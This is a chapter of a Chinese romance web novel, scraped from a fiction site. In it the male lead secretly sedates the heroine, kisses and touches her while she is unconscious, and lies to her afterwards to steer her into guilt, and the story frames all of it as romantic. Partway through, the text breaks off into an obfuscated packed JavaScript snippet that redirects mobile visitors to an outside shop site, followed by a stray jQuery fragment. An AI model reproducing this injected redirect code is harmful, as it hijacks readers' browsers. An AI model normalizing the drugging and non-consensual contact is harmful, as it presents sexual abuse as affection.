文趣网 > 其他小说 > 招惹疯批君王后 > 19. 教她
    枕边人的呼吸走向清浅、规律,萧承胤侧过身,拉过俞非晚的被子,轻轻替她盖上。

    傍晚,他照医嘱熬了两碗药,一碗用来循序渐进的激蛊毒爆发,一碗用来缓解蛊毒症状。

    俞非晚吃了苦药,有苦同享,他也给自己熬了一碗用来规避子嗣的苦药。

    大夫既然说晚晚营养不良,那他便不能让她有孕,失去她的风险他无法承担。

    这避子药连服三日,药效一年。

    一年时间不长,却足够调理好晚晚的身体。

    他退一步,打消了让晚晚有孕的念头,那么进一步,他则必须被动承受晚晚的需要。

    直白点说便是,必须让晚晚误以为是她自己没忍住色心,主动与他发生了关系,这违背礼法的第一步是她自己走的。

    至于这蛊,当然不是在榻上做好的,而是喝药喝好的。

    他会让她知道,婚中与他发生关系这个错,原本是可以规避的。晚晚心善,到时定会十分愧疚,他要的就是她的愧疚。

    一个女人,对一个貌美男人生了愧疚,就会心软,就会退让,就会生出无限包容。

    借着朦胧的月光,萧承胤将目光紧紧吸在俞非晚的面上,俯身重重吮了她的唇,缓解心间突然涌起的阴暗情绪。

    对了,晚晚的药里被他加了安神药,此刻她是醒不来的。

    粗砺的指腹不轻不重的拭去残留的水渍,萧承胤忍不住勾起了唇角,放肆的吻了上去。

    身姿变幻,他托起她的下颚,迫她迎合,余下的另一只手抬起她的后颈,反复摩挲。

    真是娇软动人,如果没有那位碍事的丈夫,此刻他强要了晚晚又能如何?

    用点手段,用对方法,她必定只能成为他的妻。

    次日天光大亮,俞非晚才在浑身酥麻中悠悠转醒。

    院中没有外人,这一觉她睡的沉且久,很舒坦。

    帘子还是昨晚的样子,俞非晚转了转脑袋,才发现自己居然躺到了阿榆的被窝里。

    心中一倏然惊,俞非晚一个挺身坐起,慌忙扯下布帘上的竹夹,又将布帘上翻固定。

    糟了糟了!这夹子忘记拿下来了!

    她怎么能睡着?而且睡相差到滚进了阿榆的被窝!

    她来了葵水,有没有弄脏他的榻?!

    俞非晚羞耻又慌张。

    她一把掀开被子,开始在榻上寻找血渍。

    每一处都用视线细细搜刮了一遍,却都是原本的颜色,未曾沾染。

    如释重负,她松了一口气。

    爬回自己那边,合拢双腿,细细感受,超乎寻常的黏腻感确实存在,她低头嗅了嗅自己身上,并未有血腥味,反而都是微苦的甜香。

    是阿榆身上的味道。

    “醒了。”

    俞非晚并未想好如何解释何帘子会被她夹起一半,就见萧承胤走了进来。

    今日他穿了一身纯白色麻衣,素净的颜色衬得他眉目如画,乌发如墨。衣料虽粗砺,却掩不住他修竹般云亭舒展的身姿,像遗世独立的谪仙。

    俞非晚被迷的思绪有些卡顿,有些结巴道:“嗯…睡醒了,我不是故意挤到你那边去的。”

    顿了顿,她又忍不住愧疚追问:“你昨晚睡得好吗?没被我挤下去吧?”

    木质托盘与桌面接触发出“咔哒”声。

    一碗冒着热气的药和一碗放了荷包蛋的汤面被端出托盘,静置于床头。

    听见声响,又闻到香味,俞非晚这才注意到萧承胤不是光手进来的。

    阿榆好勤劳,居然连药都帮她熬好了。

    维持好温润笑意,萧承胤放下托盘,答道:“还好,昨夜晚晚很乖,没挤我。”

    他上前坐下,抬手捋了捋俞非晚睡的有些杂乱的发丝,顺手点了点她脖颈侧面的吻痕,一本正经的扯谎:“家里好像有蚊虫,晚晚的脖子被咬了。”

    夏日里,俞非晚最讨厌的就是蚊子,闻言立刻从枕头下面摸出了昨日刚买的小镜子。

    黄铜镜面锃亮清晰,俞非晚左看右看,大大小小数出了五个嫣红痕迹,“这蚊子怎么只咬脖子?”

    趁她的注意力都在红痕上,萧承胤的视线重重刮过她的红唇与微微凌乱的衣襟,滚了滚喉结。

    俞非晚衣带系的紧,其实也看不见什么,只是微微露了点锁骨与脖子下方白腻的肌肤。

    可就是平常不可见的露出了一点点,欲掩非掩,才格外吸人眼球,勾引欲望。

    萧承胤不知自己以前是如何忍的,反正他现在有点忍不了,他不是圣人,是六欲俱全的凡人。

    忆起昨夜任他厮磨的乖巧晚晚,萧承胤心头一动,忽然想知道,他若在白日里重复一遍昨夜做过的混账事,晚晚会不会生气。

    小巧的镜子被抽离掌心,微凉的唇混着滚烫的气息将她包裹。

    俞非晚呼吸一滞,才反应过来发生了什么。

    她顺从的闭上了眼睛,任由他施为。

    阿榆上次吻她已是好几日前的事情了。

    现在,他又吻她了。

    阿榆不像她,每次都是光明正大的索要。

    虽然不对,可她一点都不想纠正,只要不到最后一步,她都不会阻止他。

    没有和离,俞非晚不敢正视,害怕看见他眼里深重的情意,她闭眼任由他纠缠吞噬、深入。

    微凉的空气窜入衣摆,随后炙热探入,霸道覆盖。

    动作没有很过分,只是反复摩挲着她腰腹上的软肉,好似把玩玉器。

    俞非晚心间发颤,睫毛抖的厉害。

    “阿榆……”她听见自己的声音发飘,软的不像自己。

    “嗯。”他应的漫不经心,顺着玉颈向下,成功挑开衣襟,在锁.骨窝里留下湿濡的温热,好似标记。

    陌生的感觉从小腹升腾而上,氤氲的她浑身发软,发热,指尖失力。

    她不知道自己怎么了,只想将自己埋入萧承胤宽厚的怀中。

    “你用力抱抱我,好不好。”俞非晚乞求道。

    小喘着落入微香的怀抱中,而后被坚如锁链的臂膀囚锁。

    头皮泛起一波又一波的麻痒,是阿榆在用下巴蹭她。

    俞非晚依偎在滚热的怀中,后知后觉,“阿榆,我还没有洗漱。”

    “我不嫌弃。”原是这样,不但不生气,还会自卑自责。

    看来晚晚的丈夫没有给晚晚足够的安全

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619745|205215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    感,如此,便又多了几分胜算,这几日他也得好好补补,在榻上万万不能被晚晚的丈夫比了下去。

    心中多了条未来计划,萧承胤嘱咐道:“早午饭在桌上,吃完饭记得把药喝了,晚饭还有明日的早饭去村长家吃,我要出门一趟,大抵明日午间才能回来。”

    忽然听他要出门,且不带她,俞非晚撑着发软的胳膊回身问道:“我不能同你一起去吗?”

    “进山打猎,晚晚跟进去不安全。”单手将她拎到长腿上,萧承胤用鼻尖蹭了蹭俞非晚的鼻尖,又从枕下摸出了一把镶嵌着红宝石的匕首交给她:“别乱跑,乖乖在家等我,我向猎户借了刀具弓箭,这把匕首留给你防身,晚晚生的娇美动人,若遇到冒犯,不用客气。”

    俞非晚连鸡都没杀过,更别提杀人。

    她双眼懵懂,一时没领会萧承胤的意思。

    “不用客气,是什么意思?”她问。

    “杀人自保。”萧承胤眉目温和,语气也温和,偏偏语义极为冰冷。

    俞非晚的手在空中迟滞一瞬,才稳稳接住了一尺长的冰冷匕首。

    金属摩擦发出清脆声响,出鞘的匕首寒光熠熠,照映出俞非晚浑圆的杏眼。

    她摸了摸用于减轻重量、调整重心的血槽,又抠了抠匕首柄上的红宝石与镂空金片。

    红配金,刀鞘与刀柄漆黑,好张扬大气的配色,有点和喜欢穿浅色衣物的阿榆不搭。

    不过这不是重点,“阿榆,杀人好像是犯法的,会坐牢或者偿命。”

    “那是对下,事情不闹大,律法从不约束权贵。”对于俞非晚,萧承胤总是毫无私心的倾囊相授。

    “晚晚,虽然我的记忆不连贯,但我知晓自己并非普通百姓,我有特权,我不知你的丈夫是做什么的,但你既愿意跟我,你便也有了特权,这世上的规矩从来都是权贵定的……”

    他摸了摸她脸颊上的软肉,字字珠玑:“而权贵定规矩,最终目的是为了约束下面的人,你若站在高处,成为权贵,规矩便是你手中的线,想放就放,想收就收。法律是底线,但永远不是事情的结果。何况晚晚心善,错误必定全在挑事的人身上。”

    俞非晚窝在他怀里,细细品鉴了萧承胤的话,觉得极其有道理。

    俞非晚:“可是,若我真遇见流氓,打不过怎么办?”

    “好办,不用打。”萧承胤一一列举情况:“若周围有完全可以信赖的人,便去寻他,而后跟紧他,永远不要落单,保持冷静,因为慌乱解决不了问题,更别胡思乱想,我定会寻到你;若只有你和歹徒,你又跑不了,可以示弱,美貌亦是你的武器,让他占点便宜,而后一击即中,切记,后退时一定要抽出匕首,绝不可把武器留给歹徒。”

    俞非晚追问:“我若让歹徒占了便宜,阿榆会不会觉得我不洁,我看……嘶!”

    话没讲完,俞非晚迎来了一记暴栗

    萧承胤眉眼低垂,温声训道:“劫色者十有八九会害你性命,生死关头,怎能拘泥于贞洁!”

    俞非晚揉了揉额头,故作严肃:“受教了,阿榆夫子!”

    说完,她溜身爬上榻,有模有样的行了一个学生礼。

    “淘气。”